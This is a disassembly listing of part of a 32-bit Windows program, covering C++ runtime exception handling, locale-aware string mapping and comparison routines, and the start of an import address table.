proc near ; CODE XREF: sub_42090E+32p ; sub_4209E0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_4036E1 mov eax, esi pop esi retn 4 sub_4209C0 endp ; =============== S U B R O U T I N E ======================================= sub_4209E0 proc near ; CODE XREF: sub_420AAA+29p mov eax, offset loc_421262 call sub_416438 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_422CA8 call sub_420C39 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_422C8C call sub_4209C0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4209E0 endp ; =============== S U B R O U T I N E ======================================= sub_420A28 proc near ; CODE XREF: sub_420A92+7p ; sub_420AEE+7p ... mov eax, offset loc_421274 call sub_416438 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_420C76 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_422C8C call sub_4209C0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_420A28 endp ; =============== S U B R O U T I N E ======================================= sub_420A6B proc near ; DATA XREF: _1:off_422CC8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_420A87 test [esp+4+arg_0], 1 jz short loc_420A81 push esi call sub_416457 pop ecx loc_420A81: ; CODE XREF: sub_420A6B+Dj mov eax, esi pop esi retn 4 sub_420A6B endp ; =============== S U B R O U T I N E ======================================= sub_420A87 proc near ; CODE XREF: sub_420A6B+3p ; DATA XREF: _1:004230BCo mov dword ptr [ecx], offset off_422CC8 jmp sub_4208CA sub_420A87 endp ; =============== S U B R O U T I N E ======================================= sub_420A92 proc near ; CODE XREF: sub_420B06+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_420A28 mov dword ptr [esi], offset off_422C9C mov eax, esi pop esi retn 4 sub_420A92 endp ; =============== S U B R O U T I N E ======================================= sub_420AAA proc near ; CODE XREF: sub_403631+15p ; sub_40368A+15p ... mov eax, offset loc_421286 call sub_416438 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_4208A0 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4209E0 push offset dword_4230B8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_422CC8 call sub_420CE3 int 3 ; Trap to Debugger sub_420AAA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420AEE proc near ; CODE XREF: sub_420B06+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_420A28 mov dword ptr [esi], offset off_422CC8 mov eax, esi pop esi retn 4 sub_420AEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B06 proc near ; DATA XREF: _1:00422C94o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_420A28 push offset dword_4230F8 lea eax, [ebp+var_1C] push eax call sub_420CE3 int 3 ; Trap to Debugger loc_420B24: ; DATA XREF: _1:00422CD0o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_420AEE push offset dword_4230B8 lea eax, [ebp+var_1C] push eax call sub_420CE3 int 3 ; Trap to Debugger loc_420B42: ; DATA XREF: _1:00422CA4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_420A92 push offset dword_423010 lea eax, [ebp+var_1C] push eax call sub_420CE3 int 3 ; Trap to Debugger sub_420B06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_420B60 proc near ; CODE XREF: sub_402FC3+5Ep ; sub_403A1B+159p jmp ds:dword_4221FC sub_420B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_420B66 proc near ; CODE XREF: sub_4160A4+23p ; sub_416348+13p jmp ds:dword_422170 sub_420B66 endp ; =============== S U B R O U T I N E ======================================= sub_420B6C proc near ; CODE XREF: sub_4079D8+E2p ; sub_4079D8+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp ds:dword_4C911C, 0 push ebx jnz short loc_420BB2 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_420B7E: ; CODE XREF: sub_420B6C+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_420B90 cmp bx, 41h jb short loc_420B90 add ebx, 20h loc_420B90: ; CODE XREF: sub_420B6C+19j ; sub_420B6C+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_420BA2 cmp ax, 41h jb short loc_420BA2 add eax, 20h loc_420BA2: ; CODE XREF: sub_420B6C+2Bj ; sub_420B6C+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_420BE2 cmp bx, ax jz short loc_420B7E jmp short loc_420BE2 ; --------------------------------------------------------------------------- loc_420BB2: ; CODE XREF: sub_420B6C+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_420BBC: ; CODE XREF: sub_420B6C+72j mov ax, [esi] inc esi push eax inc esi call sub_420D1D mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_420D1D pop ecx test bx, bx pop ecx jz short loc_420BE0 cmp bx, ax jz short loc_420BBC loc_420BE0: ; CODE XREF: sub_420B6C+6Dj pop edi pop esi loc_420BE2: ; CODE XREF: sub_420B6C+3Dj ; sub_420B6C+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_420B6C endp ; =============== S U B R O U T I N E ======================================= sub_420BEC proc near ; CODE XREF: _0:00420C04p mov dword ptr [ecx], offset off_422CE8 mov ecx, [ecx+4] test ecx, ecx jz short locret_420C00 push ecx call sub_415DE1 pop ecx locret_420C00: ; CODE XREF: sub_420BEC+Bj retn sub_420BEC endp ; --------------------------------------------------------------------------- loc_420C01: ; DATA XREF: _1:off_422CE8o push esi mov esi, ecx call sub_420BEC test byte ptr [esp+8], 1 jz short loc_420C17 push esi call sub_416457 pop ecx loc_420C17: ; CODE XREF: _0:00420C0Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_420C1D: ; DATA XREF: _1:off_422CF0o push esi mov esi, ecx call sub_420CC0 test byte ptr [esp+8], 1 jz short loc_420C33 push esi call sub_416457 pop ecx loc_420C33: ; CODE XREF: _0:00420C2Aj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_420C39 proc near ; CODE XREF: sub_42090E+1Dp ; sub_4209E0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_422CF0 push dword ptr [edi] call sub_415C80 inc eax push eax call sub_4167A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_420C68 push dword ptr [edi] push eax call sub_415B90 pop ecx pop ecx loc_420C68: ; CODE XREF: sub_420C39+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_420C39 endp ; =============== S U B R O U T I N E ======================================= sub_420C76 proc near ; CODE XREF: sub_420A28+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_422CF0 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_420CB3 push dword ptr [edi+4] call sub_415C80 inc eax push eax call sub_4167A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_420CB9 push dword ptr [edi+4] push eax call sub_415B90 pop ecx pop ecx jmp short loc_420CB9 ; --------------------------------------------------------------------------- loc_420CB3: ; CODE XREF: sub_420C76+16j mov eax, [edi+4] mov [esi+4], eax loc_420CB9: ; CODE XREF: sub_420C76+2Ej ; sub_420C76+3Bj mov eax, esi pop edi pop esi retn 4 sub_420C76 endp ; =============== S U B R O U T I N E ======================================= sub_420CC0 proc near ; CODE XREF: sub_4208CA+16j ; _0:00420C20p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_422CF0 jz short locret_420CD5 push dword ptr [ecx+4] call sub_416457 pop ecx locret_420CD5: ; CODE XREF: sub_420CC0+Aj retn sub_420CC0 endp ; =============== S U B R O U T I N E ======================================= sub_420CD6 proc near ; DATA XREF: _1:00422CF4o mov eax, [ecx+4] test eax, eax jnz short locret_420CE2 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_420CE2: ; CODE XREF: sub_420CD6+5j retn sub_420CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420CE3 proc near ; CODE XREF: sub_420983+37p ; sub_420AAA+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_422D10 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:dword_4221A4 ; RaiseException pop edi pop esi leave retn 8 sub_420CE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D1D proc near ; CODE XREF: sub_420B6C+56p ; sub_420B6C+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_420D2F or ax, ax leave retn ; --------------------------------------------------------------------------- loc_420D2F: ; CODE XREF: sub_420D1D+Bj cmp ds:dword_4C911C, 0 jnz short loc_420D49 cmp ax, 41h jb short locret_420D90 cmp ax, 5Ah ja short locret_420D90 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_420D49: ; CODE XREF: sub_420D1D+19j cmp ax, 100h jnb short loc_420D63 push 1 push eax call sub_420FCB pop ecx test eax, eax pop ecx jnz short loc_420D63 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_420D63: ; CODE XREF: sub_420D1D+30j ; sub_420D1D+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push ds:dword_4C911C call sub_420D92 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_420D90 mov ax, [ebp+var_2] locret_420D90: ; CODE XREF: sub_420D1D+1Fj ; sub_420D1D+25j ... leave retn sub_420D1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D92 proc near ; CODE XREF: sub_420D1D+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422D30 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp ds:dword_4C9374, esi jnz short loc_420E08 push esi push esi push 1 pop ebx push ebx push offset dword_4228C0 mov edi, 100h push edi push esi call ds:dword_4221B0 ; LCMapStringW test eax, eax jz short loc_420DE6 mov ds:dword_4C9374, ebx jmp short loc_420E08 ; --------------------------------------------------------------------------- loc_420DE6: ; CODE XREF: sub_420D92+4Aj push esi push esi push ebx push offset dword_4325D4 push edi push esi call ds:dword_4221AC ; LCMapStringA test eax, eax jz loc_420F87 mov ds:dword_4C9374, 2 loc_420E08: ; CODE XREF: sub_420D92+2Ej ; sub_420D92+52j cmp [ebp+arg_C], esi jle short loc_420E1D push [ebp+arg_C] push [ebp+arg_8] call sub_420F9B pop ecx pop ecx mov [ebp+arg_C], eax loc_420E1D: ; CODE XREF: sub_420D92+79j mov eax, ds:dword_4C9374 cmp eax, 1 jnz short loc_420E44 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4221B0 ; LCMapStringW jmp loc_420F89 ; --------------------------------------------------------------------------- loc_420E44: ; CODE XREF: sub_420D92+93j cmp eax, 2 jnz loc_420F87 cmp [ebp+arg_18], esi jnz short loc_420E5A mov eax, ds:dword_4C912C mov [ebp+arg_18], eax loc_420E5A: ; CODE XREF: sub_420D92+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call ds:dword_422130 ; WideCharToMultiByte mov [ebp+var_20], eax cmp eax, esi jz loc_420F87 mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_420EA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_420EA0: ; CODE XREF: sub_420D92+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_420F87 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call ds:dword_422130 ; WideCharToMultiByte test eax, eax jz loc_420F87 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4221AC ; LCMapStringA mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_420F87 mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_420F23 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_420F23: ; CODE XREF: sub_420D92+17Dj cmp ebx, esi jz short loc_420F87 push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4221AC ; LCMapStringA test eax, eax jz short loc_420F87 test byte ptr [ebp+arg_4+1], 4 jz short loc_420F61 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_420F83 cmp eax, edi jl short loc_420F52 mov eax, edi loc_420F52: ; CODE XREF: sub_420D92+1BCj push eax push ebx push [ebp+arg_10] call sub_416D30 add esp, 0Ch jmp short loc_420F83 ; --------------------------------------------------------------------------- loc_420F61: ; CODE XREF: sub_420D92+1B1j cmp [ebp+arg_14], esi jnz short loc_420F6A push esi push esi jmp short loc_420F70 ; --------------------------------------------------------------------------- loc_420F6A: ; CODE XREF: sub_420D92+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_420F70: ; CODE XREF: sub_420D92+1D6j push edi push ebx push 1 push [ebp+arg_18] call ds:dword_422134 ; MultiByteToWideChar mov edi, eax cmp edi, esi jz short loc_420F87 loc_420F83: ; CODE XREF: sub_420D92+1B8j ; sub_420D92+1CDj mov eax, edi jmp short loc_420F89 ; --------------------------------------------------------------------------- loc_420F87: ; CODE XREF: sub_420D92+66j ; sub_420D92+B5j ... xor eax, eax loc_420F89: ; CODE XREF: sub_420D92+ADj ; sub_420D92+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_420D92 endp ; =============== S U B R O U T I N E ======================================= sub_420F9B proc near ; CODE XREF: sub_420D92+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_420FBA loc_420FAB: ; CODE XREF: sub_420F9B+1Dj cmp word ptr [eax], 0 jz short loc_420FBA inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_420FAB loc_420FBA: ; CODE XREF: sub_420F9B+Ej ; sub_420F9B+14j cmp word ptr [eax], 0 pop esi jnz short loc_420FC8 sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_420FC8: ; CODE XREF: sub_420F9B+24j mov eax, edx retn sub_420F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420FCB proc near ; CODE XREF: sub_420D1D+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_42100B cmp [ebp+arg_0], 100h jnb short loc_420FEF movzx eax, [ebp+arg_0] mov ecx, ds:off_42F364 mov ax, [ecx+eax*2] jmp short loc_421012 ; --------------------------------------------------------------------------- loc_420FEF: ; CODE XREF: sub_420FCB+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_42101D add esp, 18h test eax, eax jnz short loc_42100F loc_42100B: ; CODE XREF: sub_420FCB+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_42100F: ; CODE XREF: sub_420FCB+3Ej mov eax, [ebp+var_4] loc_421012: ; CODE XREF: sub_420FCB+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_420FCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42101D proc near ; CODE XREF: sub_420FCB+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422D48 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, ds:dword_4C9378 xor edi, edi cmp eax, edi jnz short loc_42108C lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4228C0 push esi call ds:dword_422028 ; GetStringTypeW test eax, eax jz short loc_42106A mov eax, esi jmp short loc_421087 ; --------------------------------------------------------------------------- loc_42106A: ; CODE XREF: sub_42101D+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4325D4 push esi push edi call ds:dword_42202C ; GetStringTypeA test eax, eax jz loc_4211CE push 2 pop eax loc_421087: ; CODE XREF: sub_42101D+4Bj mov ds:dword_4C9378, eax loc_42108C: ; CODE XREF: sub_42101D+2Fj cmp eax, 1 jnz short loc_4210A8 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_422028 ; GetStringTypeW jmp loc_4211D0 ; --------------------------------------------------------------------------- loc_4210A8: ; CODE XREF: sub_42101D+72j cmp eax, 2 jnz loc_4211CE cmp [ebp+arg_10], edi jnz short loc_4210BE mov eax, ds:dword_4C912C mov [ebp+arg_10], eax loc_4210BE: ; CODE XREF: sub_42101D+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call ds:dword_422130 ; WideCharToMultiByte mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4211CE mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_415500 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_42111C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_42111C: ; CODE XREF: sub_42101D+EAj cmp [ebp+var_2C], edi jz loc_4211CE push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call ds:dword_422130 ; WideCharToMultiByte test eax, eax jz loc_4211CE mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_421171 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_421171: ; CODE XREF: sub_42101D+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4211CE mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_421185 mov eax, ds:dword_4C911C loc_421185: ; CODE XREF: sub_42101D+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call ds:dword_42202C ; GetStringTypeA mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4211CE cmp word ptr [esi], 0FFFFh jnz short loc_4211CE push edi push ebx push [ebp+arg_C] call sub_416470 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4211D0 ; --------------------------------------------------------------------------- loc_4211CE: ; CODE XREF: sub_42101D+61j ; sub_42101D+8Ej ... xor eax, eax loc_4211D0: ; CODE XREF: sub_42101D+86j ; sub_42101D+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42101D endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4211E4 proc near ; DATA XREF: _1:00422EFCo ; FUNCTION CHUNK AT 00403629 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_403629 sub_4211E4 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_421202 mov ecx, [ebp+8] jmp loc_403629 ; --------------------------------------------------------------------------- locret_421202: ; CODE XREF: _0:004211F4j retn ; --------------------------------------------------------------------------- loc_421203: ; DATA XREF: sub_4031FFo mov eax, offset dword_422ED0 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_403629 ; --------------------------------------------------------------------------- loc_421218: ; DATA XREF: _1:00422F2Co lea ecx, [ebp-1Ch] jmp loc_403629 ; --------------------------------------------------------------------------- loc_421220: ; DATA XREF: sub_4033A1o mov eax, offset dword_422F00 jmp loc_4160F3 ; --------------------------------------------------------------------------- align 4 loc_42122C: ; DATA XREF: sub_40390Co mov eax, offset dword_422F30 jmp loc_4160F3 ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_420CC0 ; --------------------------------------------------------------------------- loc_42123E: ; DATA XREF: sub_42090Eo mov eax, offset dword_422F90 jmp loc_4160F3 ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_403629 ; --------------------------------------------------------------------------- loc_421250: ; DATA XREF: sub_420983o mov eax, offset dword_423028 jmp loc_4160F3 ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_420CC0 ; --------------------------------------------------------------------------- loc_421262: ; DATA XREF: sub_4209E0o mov eax, offset dword_42304C jmp loc_4160F3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_420CC0 ; --------------------------------------------------------------------------- loc_421274: ; DATA XREF: sub_420A28o mov eax, offset dword_423070 jmp loc_4160F3 ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_403629 ; --------------------------------------------------------------------------- loc_421286: ; DATA XREF: sub_420AAAo mov eax, offset dword_4230D0 jmp loc_4160F3 _0 ends ; Section 2. (virtual address 00022000) ; Virtual size : 00001BB6 ( 7094.) ; Section size in file : 00001BB6 ( 7094.) ; Offset to raw data for section: 00022000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _1 segment para public 'CODE' use32 assume cs:_1 ;org 422000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dword_422000 dd 77E668D9h ; DATA XREF: sub_409288+15Dr dword_422004 dd 77E6BD68h ; DATA XREF: sub_4205B1+173r dword_422008 dd 77E77F2Eh ; DATA XREF: sub_420309+3Er ; sub_420309+261r dword_42200C dd 77E762D0h ; DATA XREF: sub_420309+5Br ; sub_420309+B9r dword_422010 dd 77E70192h ; DATA XREF: sub_41F310+F9r dword_422014 dd 77E7176Ch ; DATA XREF: sub_41EA2A+8r dword_422018 dd 77E7339Ch ; DATA XREF: sub_41E9F2+Cr off_42201C dd offset sub_4D9C54 ; DATA XREF: _0:0041E9D9r _0:0041E9EBr dword_422020 dd 77E73FF9h ; DATA XREF: sub_41DF8F+2Cr dword_422024 dd 77E7FF2Eh ; DATA XREF: sub_41DE61:loc_41DEB1r ; sub_41DED8:loc_41DF2Br dword_422028 dd 77E7C866h ; DATA XREF: sub_41DC83+3Fr ; sub_41DC83+12Dr ... dword_42202C dd 77E641EBh ; DATA XREF: sub_41DC83+59r ; sub_41DC83+8Dr ... dword_422030 dd 77E78406h ; DATA XREF: sub_41D6DF+FFr ; sub_41D6DF+166r ... dword_422034 dd 77E79C3Dh ; DATA XREF: sub_41D6DF+158r ; sub_41D9A5+143r dword_422038 dd 77E7C931h ; DATA XREF: sub_41D6DF+19Dr dword_42203C dd 77E77EE1h ; DATA XREF: sub_41D5AD+9r dword_422040 dd 77E67702h ; DATA XREF: sub_41D5AD:loc_41D5DCr ; sub_41D5AD+E1r dword_422044 dd 77E73C49h ; DATA XREF: sub_401000+ADr ; sub_40144A+95r ... dword_422048 dd 77E7751Ah ; DATA XREF: sub_401000+27r ; sub_40144A+1A6r ... dword_42204C dd 77E802FCh ; DATA XREF: sub_4010B5+18Cr ; sub_4010B5+2D4r ... dword_422050 dd 77E6D75Bh ; DATA XREF: sub_4010B5+182r ; sub_401A76+FFr dword_422054 dd 77E61BE6h ; DATA XREF: sub_4018D0+9Ar ; sub_4023A7+5Dr ... dword_422058 dd 77E704FCh ; DATA XREF: sub_4022C6+20r ; sub_409F1E+183r ... dword_42205C dd 77E70F89h ; DATA XREF: sub_4022C6+Er ; sub_40A5B3+Dr ... off_422060 dd offset sub_4DAA24 ; DATA XREF: sub_40409E+18r ; sub_405898+58r ... dword_422064 dd 77E64106h ; DATA XREF: sub_404593+A0r ; sub_409F1E+1B6r dword_422068 dd 77E64006h ; DATA XREF: sub_404593+8Cr ; sub_409F1E+19Fr dword_42206C dd 77F5157Dh ; DATA XREF: sub_404716+289r ; sub_405898:loc_4059D4r ... dword_422070 dd 77E7AC37h ; DATA XREF: sub_404716+254r ; sub_405898+10Er ... off_422074 dd offset sub_4DB3D5 ; DATA XREF: sub_404716+202r ; sub_405053+B2r ... off_422078 dd offset sub_4DA9EC ; DATA XREF: sub_404716+1F5r ; sub_405053+38r ... off_42207C dd offset sub_4DB2B0 ; DATA XREF: sub_404716+1CBr ; sub_405053+25r ... off_422080 dd offset sub_4DA7AF ; DATA XREF: sub_404716+110r ; sub_409288+10Fr ... off_422084 dd offset sub_4DA5FF ; DATA XREF: sub_4049CD+5ECr ; sub_40752B+C0r ... dword_422088 dd 77E79424h ; DATA XREF: sub_4049CD+280r ; sub_4079D8+135r dword_42208C dd 77E794BFh ; DATA XREF: sub_4049CD+272r ; sub_4079D8+123r off_422090 dd offset sub_4DA626 ; DATA XREF: sub_4049CD+212r ; sub_4049CD+5DBr ... off_422094 dd offset sub_4DA334 ; DATA XREF: sub_4049CD+201r ; sub_40752B+26r off_422098 dd offset sub_4DB3FC ; DATA XREF: sub_405053+80r ; sub_409A5D+BBr ... off_42209C dd offset sub_4DB460 ; DATA XREF: sub_405053+6Cr ; sub_40AB26+259r ... dword_4220A0 dd 77F7E300h ; DATA XREF: sub_405DAD+142r dword_4220A4 dd 77F7E21Fh ; DATA XREF: sub_405DAD+D7r dword_4220A8 dd 77E7C706h ; DATA XREF: sub_405FC5+77r dword_4220AC dd 77F53275h ; DATA XREF: sub_405FC5+6Br ; sub_405FC5+22Fr dword_4220B0 dd 77E79D8Ch ; DATA XREF: sub_406BF9+1B0r ; sub_406BF9+1C4r ... off_4220B4 dd offset sub_4DB18D ; DATA XREF: sub_40767D+170r dword_4220B8 dd 77E78147h ; DATA XREF: sub_40767D+BCr off_4220BC dd offset sub_4DB076 ; DATA XREF: sub_40767D+60r ; sub_407E65+11r ... off_4220C0 dd offset sub_4DAE83 ; DATA XREF: sub_40767D+5Ar ; sub_407E65+13Ar ... dword_4220C4 dd 77F51597h ; DATA XREF: sub_40784F+41r ; sub_40784F+F5r ... dword_4220C8 dd 77F516F8h ; DATA XREF: sub_40784F+21r ; sub_4079D8+4Ar ... dword_4220CC dd 77E77CB7h ; DATA XREF: sub_40784F+10r ; sub_4079D8+40r ... dword_4220D0 dd 77E7F01Ah ; DATA XREF: sub_4079D8+88r ; sub_407B7F+55r dword_4220D4 dd 77E61A54h ; DATA XREF: sub_4079D8+56r ; sub_407B7F+97r dword_4220D8 dd 77E7C3A5h ; DATA XREF: sub_4079D8+34r ; sub_407B7F+2Er dword_4220DC dd 77E706B7h ; DATA XREF: sub_4079D8+15r ; 